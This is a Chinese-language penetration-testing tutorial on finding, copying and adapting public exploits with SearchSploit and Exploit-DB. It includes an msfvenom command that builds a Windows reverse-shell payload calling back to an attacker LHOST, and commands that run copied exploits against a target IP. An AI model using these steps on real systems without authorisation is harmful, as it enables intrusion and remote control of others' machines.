目录
- 一、Exploit-DB 与 SearchSploit 概述
- 二、SearchSploit 基本操作
- 三、高级搜索策略
- 四、Exploit 代码审计与修改
- 五、个人 Exploit 库管理
- 六、离线环境与受限场景
- 七、命令速查表
flowchart TB A[发现目标服务/版本] --> B{信息源} B --> C[CVE 编号] B --> D[Nmap 扫描结果] B --> E[已知服务+版本] B --> F[关键词] C --> G[searchsploit --cve CVE-XXXX] D --> H[searchsploit --nmap scan.xml] E --> I[searchsploit "apache 2.4.49"] F --> J[searchsploit -t "标题匹配"] G --> K[结果筛选] H --> K I --> K J --> K K --> L{是否适用?} L -->|查看代码| M[searchsploit -x EDB-ID] L -->|复制到本地| N[searchsploit -m EDB-ID] N --> O[修改参数<br/>配置LHOST/RHOST/PORT] O --> P[编译/运行 exploit] P --> Q[测试目标] style K fill:#e6a23c,color:#fff style O fill:#409eff,color:#fff style Q fill:#67c23a,color:#fff
一、Exploit-DB 与 SearchSploit 概述
Exploit-DB (https://www.exploit-db.com) 是 Offensive Security 维护的公开漏洞利用代码库,收录了数万个已验证的 exploit。SearchSploit 是 Exploit-DB 的命令行搜索工具,允许离线搜索完整的 exploit 数据库。
相关模块: Metasploit 框架 | IoT 利用 | 漏洞利用基础
安装:
sudo pacman -S exploitdb
# 或
sudo pacman -S exploit-db
searchsploit --versionSearchSploit 核心优势:
- 完全离线搜索(无需互联网)
- 正则表达式和标题精确匹配
- 与 nmap 输出直接集成
- 支持按 CVE、EDB-ID、平台等维度筛选
二、SearchSploit 基本操作
2.1 安装与更新
# 更新本地数据库(联网时执行)
searchsploit -u
# 查看已安装的 exploit 总数
searchsploit | tail -12.2 搜索语法
# 基本关键词搜索
searchsploit apache
# 精确标题搜索
searchsploit -t "Apache 2.4" # 标题包含 "Apache 2.4"
searchsploit -t "WordPress" # 标题精确匹配
# 区分大小写
searchsploit -c "Apache"
# 排除特定类型(如排除 DoS)
searchsploit apache --exclude="Denial of Service"
searchsploit samba --exclude="(DoS|dos)"
# 按平台筛选
searchsploit linux apache
searchsploit windows remote
searchsploit webapps joomla
# 仅显示 EDB-ID
searchsploit --id apache
# 彩色输出
searchsploit --colour apache搜索输出示例:
-------------------------------------------------------------
Exploit Title | Path
-------------------------------------------------------------
Apache 2.4.49 - Path Traversal | webapps/50383.py
Apache Struts 2 - Remote Code Execution | webapps/15462.py
-------------------------------------------------------------
2.3 查看与复制 Exploit
# 查看 exploit 内容(用 less 打开)
searchsploit -x 50383
searchsploit -x linux/remote/42060.py
# 显示完整路径
searchsploit -p 50383
# 复制到当前目录
searchsploit -m 50383
searchsploit -m linux/remote/42060.py三、高级搜索策略
3.1 按 CVE 批量搜索
场景: 有多个 CVE 编号需要查找对应的 exploit。
# 单个 CVE 搜索
searchsploit --cve 2021-44228
# 批量搜索
cat > /tmp/cve_list << 'EOF'
2021-44228
2017-0144
2019-0708
2014-0160
2020-1472
EOF
while read cve; do
echo "========== CVE-$cve =========="
searchsploit --cve $cve 2>/dev/null
echo ""
done < /tmp/cve_list
# 批量复制找到的 exploit
mkdir ~/exploits_found && cd ~/exploits_found
for cve in 2021-44228 2017-0144 2019-0708 2014-0160 2020-1472; do
searchsploit --cve $cve --id 2>/dev/null | grep -oP 'exploits/.*?(?=\s+\|)' | \
while read path; do
echo "[*] 复制: $path"
searchsploit -m "$path" 2>/dev/null
done
done3.2 从 Nmap 结果自动搜索
searchsploit 可以直接解析 nmap XML 输出,自动匹配已知漏洞:
# 执行完整扫描
nmap -sV -sC -p- -O 192.168.56.101 -oX /tmp/full_scan.xml
# 自动搜索匹配的 exploit
searchsploit --nmap /tmp/full_scan.xml
# 排除 DoS 类型,保留可利用的
searchsploit --nmap /tmp/full_scan.xml --exclude="(Denial of Service|DoS|dos)"
# 保存搜索结果
searchsploit --nmap /tmp/full_scan.xml > /tmp/potential_exploits.txt--nmap 参数的工作原理:
- 解析 nmap XML 中的
<service>标签 - 提取
product、version、extrainfo字段 - 在 Exploit-DB 中搜索匹配的记录
- 返回关联的 exploit 列表
3.3 精确服务版本搜索
场景: 已知目标运行 Apache 2.4.49,需要精确定位路径穿越漏洞。
# 在 Firefox 中直接搜索
# https://www.exploit-db.com/search?q=apache+2.4.49
# 在线搜索(在浏览器中打开)
searchsploit -w "apache 2.4.49"
# 终端精确定位
searchsploit -t "Apache 2.4.49"
searchsploit -t "Path Traversal" apache 2.4.49
# 查看详情
searchsploit -x 50383
# 复制并修改
searchsploit -m 50383
nano 50383.py
# 修改 TARGET_IP 等内容后执行在 Firefox 中查阅 CVE 详情:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- 了解漏洞的技术细节和影响范围
四、Exploit 代码审计与修改
在使用任何 exploit 之前,必须仔细审计代码:
审计要点:
- 确认 exploit 的目标平台和版本匹配
- 检查是否有硬编码的 IP/端口
- 验证 payload/shellcode 是否可控
- 确认 exploit 是否为 DoS 类型(可能导致目标崩溃)
- 检查是否需要依赖库(Python/Perl 导入模块)
修改 exploit 参数:
# 复制 exploit
searchsploit -m 42031
# 修改目标 IP
sed -i 's/192.168.1.1/192.168.56.101/g' 42031.py
sed -i 's/4444/9999/g' 42031.py
# 检查修改是否正确
grep -E "192.168|4444|9999" 42031.py替换硬编码的 shellcode:
# 使用 msfvenom 重新生成 shellcode
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=9999 \
-f python -b '\x00\x0a\x0d' -v shellcode
# 将生成的 shellcode 变量替换到 exploit 中
# 在 exploit 代码中找到 shellcode 定义并替换五、个人 Exploit 库管理
创建个人 exploit 库,便于在多次渗透测试中复用:
mkdir -p ~/my_exploits/{windows,linux,webapps}/{remote,local}
mkdir -p ~/my_exploits/modified # 修改过的 exploit
mkdir -p ~/my_exploits/reports # 测试报告为每次成功的 exploit 做记录:
文件名: ~/my_exploits/reports/42031_report.txt
EDB-ID: 42031
目标: Windows 7 SP1 x64
漏洞: MS17-010 EternalBlue
测试日期: 2026-01-15
结果: 成功获取 SYSTEM 权限
备注: 需要修改 LHOST 参数为攻击机 IP
批量收集特定类型的 exploit:
# 收集所有 Windows 远程 exploit
searchsploit windows remote | grep -v "DoS" > ~/my_exploits/windows_remote_list.txt
# 收集所有 Linux 本地提权 exploit
searchsploit linux local privilege | grep -v "DoS" > ~/my_exploits/linux_priv_esc.txt六、离线环境与受限场景
在没有互联网的测试环境中使用 searchsploit:
# 确保已更新本地数据库
searchsploit -u
# 获取 exploit 总数
searchsploit | tail -1
# 针对性搜索
searchsploit samba | grep remote
# 查看 exploit 头部信息以确认适用性
searchsploit -x linux/remote/42060.py
# 复制并执行
searchsploit -m linux/remote/42060.py
python3 42060.py $TARGET_IP注意:
- searchsploit 的本地数据库位于
/usr/share/exploitdb/ - exploit 文件位于
/usr/share/exploitdb/exploits/ - 定期执行
searchsploit -u更新数据库以获取最新 exploit - 离线环境下无法使用
-w(web) 参数
七、命令速查表
| 命令 | 说明 |
|---|---|
searchsploit -u | 更新本地数据库 |
searchsploit [关键词] | 基本搜索 |
searchsploit --cve [CVE编号] | 按 CVE 搜索 |
searchsploit -t "[标题]" | 精确标题搜索 |
searchsploit --exclude="Denial of Service" [关键词] | 排除 DoS |
searchsploit -x [路径或EDB-ID] | 查看 exploit 内容 |
searchsploit -m [路径或EDB-ID] | 复制到当前目录 |
searchsploit -p [路径或EDB-ID] | 显示完整路径 |
searchsploit --nmap [scan.xml] | Nmap 自动搜索 |
searchsploit -w [关键词] | 在浏览器中搜索 |
searchsploit -c [关键词] | 区分大小写 |
searchsploit --colour [关键词] | 彩色输出 |
searchsploit --id [关键词] | 仅显示 EDB-ID |
Exploit-DB 和 SearchSploit 是渗透测试中漏洞匹配环节的核心工具。在确定目标服务版本后,快速定位可用的 exploit 是决定攻击成败的关键。审计 exploit 代码、修改参数适配目标环境、妥善管理个人 exploit 库,这些都是红队作战中反复用到的技能。